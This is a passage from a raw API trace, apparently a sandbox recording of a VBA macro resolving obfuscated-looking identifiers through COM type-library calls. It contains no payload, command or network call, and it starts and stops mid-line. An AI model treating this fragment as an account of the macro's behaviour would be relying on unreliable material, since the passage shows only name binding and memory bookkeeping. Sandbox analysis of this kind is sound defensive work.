lpUsedDefaultChar=0x0) returned 9 [0076.198] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.198] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.198] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb899900 [0076.198] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.198] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.198] GetCurrentProcess () returned 0xffffffffffffffff [0076.198] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x43) returned 1 [0076.198] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.198] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.198] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.198] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.198] IUnknown:AddRef (This=0xb941980) returned 0x4 [0076.198] IUnknown:Release (This=0xb941980) returned 0x3 [0076.198] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.198] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.198] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.198] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.198] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6395d86, cbMultiByte=2, lpWideCharStr=0x5ec0704, cchWideChar=6 | out: lpWideCharStr="oP") returned 2 [0076.198] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.198] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.198] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792f92, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="portlanddomms") returned 14 [0076.198] ITypeComp:RemoteBind (in: This=0x679bb90, szName="portlanddomms", lHashVal=0x101f1d, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792f92, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="portlanddomms") returned 14 [0076.198] ITypeComp:RemoteBind (in: This=0x5a48630, szName="portlanddomms", lHashVal=0x101f1d, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792f92, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="portlanddomms") returned 14 [0076.199] ITypeComp:RemoteBind (in: This=0x679c130, szName="portlanddomms", lHashVal=0x101f1d, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792f92, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="portlanddomms") returned 14 [0076.199] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="portlanddomms", lHashVal=0x101f1d, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.199] IMalloc:Alloc (This=0x7fefe465380, cb=0x15) returned 0x62ed410 [0076.199] _mbscpy_s (in: _Dst=0x62ed410, _DstSizeInBytes=0xe, _Src=0x5792f92 | out: _Dst=0x62ed410) returned 0x0 [0076.199] strcpy_s (in: _Dst=0x1ff580, _DstSize=0x15, _Src="_B_var_portlanddomms" | out: _Dst="_B_var_portlanddomms") returned 0x0 [0076.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff580, cbMultiByte=21, lpWideCharStr=0x1ff3d0, cchWideChar=21 | out: lpWideCharStr="_B_var_portlanddomms") returned 21 [0076.199] IUnknown:AddRef (This=0x679bb80) returned 0x10 [0076.199] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_portlanddomms", lHashVal=0x10f2fa, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.199] IUnknown:Release (This=0x679bb80) returned 0xf [0076.199] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.199] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_portlanddomms", lHashVal=0x10f2fa, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.199] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.199] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.199] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_portlanddomms", lHashVal=0x10f2fa, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.199] IUnknown:Release (This=0x679c120) returned 0x7 [0076.199] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.199] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_portlanddomms", lHashVal=0x10f2fa, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.199] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.199] IUnknown:AddRef (This=0x679bb80) returned 0x10 [0076.199] IUnknown:Release (This=0x679bb80) returned 0xf [0076.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d1030e, cbMultiByte=21, lpWideCharStr=0x1ff430, cchWideChar=22 | out: lpWideCharStr="_B_var_portlanddomms") returned 21 [0076.199] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_portlanddomms", lHashVal=0x10f2fa, wFlags=0x5, ppTInfo=0x1ff3e8, pDescKind=0x1ff3fc, ppFuncDesc=0x1ff400, ppVarDesc=0x70005f00720061, ppTypeComp=0x6c007400000000, pDummy=0x0 | out: ppTInfo=0x1ff3e8*=0x0, pDescKind=0x1ff3fc*=0, ppFuncDesc=0x1ff400, ppVarDesc=0x70005f00720061, ppTypeComp=0x6c007400000000, pDummy=0x0) returned 0x0 [0076.199] _mbscpy_s (in: _Dst=0x1ff5f0, _DstSizeInBytes=0xe, _Src=0x5792f92 | out: _Dst=0x1ff5f0) returned 0x0 [0076.199] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.199] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.199] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6395db2, cbMultiByte=2, lpWideCharStr=0x5ec27ec, cchWideChar=6 | out: lpWideCharStr="AS") returned 2 [0076.199] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.199] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.199] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.199] IUnknown:AddRef (This=0xb941ae0) returned 0x3 [0076.199] IUnknown:Release (This=0xb941ae0) returned 0x2 [0076.200] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.200] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.200] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.200] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.200] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.200] IUnknown:AddRef (This=0xb824728) returned 0x3 [0076.200] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff468 | out: ppvObject=0x1ff468*=0x0) returned 0x80004002 [0076.200] ITypeInfo:RemoteGetTypeAttr (in: This=0xb824728, ppTypeAttr=0x1ff448, pDummy=0x10 | out: ppTypeAttr=0x1ff448, pDummy=0x10) returned 0x0 [0076.200] ITypeInfo:LocalReleaseTypeAttr (This=0xb824728) returned 0x0 [0076.200] IUnknown:AddRef (This=0xb824728) returned 0x4 [0076.200] IUnknown:Release (This=0xb824728) returned 0x3 [0076.200] IUnknown:Release (This=0xb824728) returned 0x2 [0076.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792fea, cbMultiByte=13, lpWideCharStr=0x1ff430, cchWideChar=14 | out: lpWideCharStr="astralonfice") returned 13 [0076.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792fea, cbMultiByte=13, lpWideCharStr=0x1ff470, cchWideChar=14 | out: lpWideCharStr="astralonfice") returned 13 [0076.200] ITypeComp:RemoteBind (in: This=0x679bb90, szName="astralonfice", lHashVal=0x105b03, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792fea, cbMultiByte=13, lpWideCharStr=0x1ff470, cchWideChar=14 | out: lpWideCharStr="astralonfice") returned 13 [0076.200] ITypeComp:RemoteBind (in: This=0x5a48630, szName="astralonfice", lHashVal=0x105b03, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792fea, cbMultiByte=13, lpWideCharStr=0x1ff470, cchWideChar=14 | out: lpWideCharStr="astralonfice") returned 13 [0076.200] ITypeComp:RemoteBind (in: This=0x679c130, szName="astralonfice", lHashVal=0x105b03, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792fea, cbMultiByte=13, lpWideCharStr=0x1ff470, cchWideChar=14 | out: lpWideCharStr="astralonfice") returned 13 [0076.200] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="astralonfice", lHashVal=0x105b03, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.200] IMalloc:Alloc (This=0x7fefe465380, cb=0x14) returned 0x62ed410 [0076.200] _mbscpy_s (in: _Dst=0x62ed410, _DstSizeInBytes=0xd, _Src=0x5792fea | out: _Dst=0x62ed410) returned 0x0 [0076.200] strcpy_s (in: _Dst=0x1ff580, _DstSize=0x14, _Src="_B_var_astralonfice" | out: _Dst="_B_var_astralonfice") returned 0x0 [0076.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff580, cbMultiByte=20, lpWideCharStr=0x1ff3d0, cchWideChar=20 | out: lpWideCharStr="_B_var_astralonfice") returned 20 [0076.200] IUnknown:AddRef (This=0x679bb80) returned 0x10 [0076.200] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_astralonfice", lHashVal=0x10945f, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.200] IUnknown:Release (This=0x679bb80) returned 0xf [0076.200] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.200] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_astralonfice", lHashVal=0x10945f, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.200] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.200] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.200] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_astralonfice", lHashVal=0x10945f, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.200] IUnknown:Release (This=0x679c120) returned 0x7 [0076.200] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.201] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_astralonfice", lHashVal=0x10945f, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.201] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.201] IUnknown:AddRef (This=0x679bb80) returned 0x10 [0076.201] IUnknown:Release (This=0x679bb80) returned 0xf [0076.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d10346, cbMultiByte=20, lpWideCharStr=0x1ff430, cchWideChar=21 | out: lpWideCharStr="_B_var_astralonfice") returned 20 [0076.201] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_astralonfice", lHashVal=0x10945f, wFlags=0x5, ppTInfo=0x1ff3e8, pDescKind=0x1ff3fc, ppFuncDesc=0x1ff400, ppVarDesc=0x61005f00720061, ppTypeComp=0x61007200000000, pDummy=0x0 | out: ppTInfo=0x1ff3e8*=0x0, pDescKind=0x1ff3fc*=0, ppFuncDesc=0x1ff400, ppVarDesc=0x61005f00720061, ppTypeComp=0x61007200000000, pDummy=0x0) returned 0x0 [0076.201] _mbscpy_s (in: _Dst=0x1ff5f0, _DstSizeInBytes=0xd, _Src=0x5792fea | out: _Dst=0x1ff5f0) returned 0x0 [0076.201] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.201] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.201] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.201] IUnknown:AddRef (This=0xb824728) returned 0x3 [0076.201] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff468 | out: ppvObject=0x1ff468*=0x0) returned 0x80004002 [0076.201] ITypeInfo:RemoteGetTypeAttr (in: This=0xb824728, ppTypeAttr=0x1ff448, pDummy=0x10 | out: ppTypeAttr=0x1ff448, pDummy=0x10) returned 0x0 [0076.201] ITypeInfo:LocalReleaseTypeAttr (This=0xb824728) returned 0x0 [0076.201] IUnknown:AddRef (This=0xb824728) returned 0x4 [0076.201] IUnknown:Release (This=0xb824728) returned 0x3 [0076.201] IUnknown:Release (This=0xb824728) returned 0x2 [0076.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d1004a, cbMultiByte=7, lpWideCharStr=0x1ff430, cchWideChar=8 | out: lpWideCharStr="Second") returned 7 [0076.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d1004a, cbMultiByte=7, lpWideCharStr=0x1ff470, cchWideChar=8 | out: lpWideCharStr="Second") returned 7 [0076.201] ITypeComp:RemoteBind (in: This=0x679bb90, szName="Second", lHashVal=0x100e73, wFlags=0x3, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0xb941980, pDescKind=0x1ff43c*=1, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.201] ITypeInfo:RemoteGetTypeAttr (in: This=0xb941980, ppTypeAttr=0x1ff430, pDummy=0x1 | out: ppTypeAttr=0x1ff430, pDummy=0x1) returned 0x0 [0076.201] ITypeInfo:LocalReleaseTypeAttr (This=0xb941980) returned 0x0 [0076.201] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb941980, memid=1610612747, invkind=1, pFuncIndex=0x1ff2d0 | out: pFuncIndex=0x1ff2d0*=0xb) returned 0x0 [0076.201] ITypeInfo2:GetFuncCustData (in: This=0xb941980, index=0xb, GUID=0x7fee5f94310*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x1ff2e8 | out: pVarVal=0x1ff2e8*(varType=0x0, wReserved1=0x1f, wReserved2=0x0, wReserved3=0x0, varVal1=0xb, varVal2=0x100e73)) returned 0x0 [0076.201] IUnknown:Release (This=0xb941980) returned 0x4 [0076.201] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.201] ITypeInfo:LocalReleaseFuncDesc (This=0xb941980) returned 0x0 [0076.201] IUnknown:Release (This=0xb941980) returned 0x4 [0076.201] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff558 | out: ppvObject=0x1ff558*=0x0) returned 0x80004002 [0076.201] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.201] IUnknown:Release (This=0xb941980) returned 0x4 [0076.201] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.201] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, 